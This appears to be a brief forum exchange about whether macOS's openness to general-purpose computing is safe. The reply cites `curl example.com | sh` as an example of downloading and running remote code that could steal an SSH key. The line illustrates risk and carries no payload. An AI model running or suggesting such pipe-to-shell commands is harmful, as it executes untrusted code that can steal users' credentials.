MacOS handles it pretty well, I can use it to do what Doctorow calls general computing and my mother can use it to shop and do email. Apple allowing freedom for MacOS but not iOS is inconsistent and I see no good reason for that.

MacOS does not handle it well. I can run `curl example.com | sh` and it'll steal my ssh key.
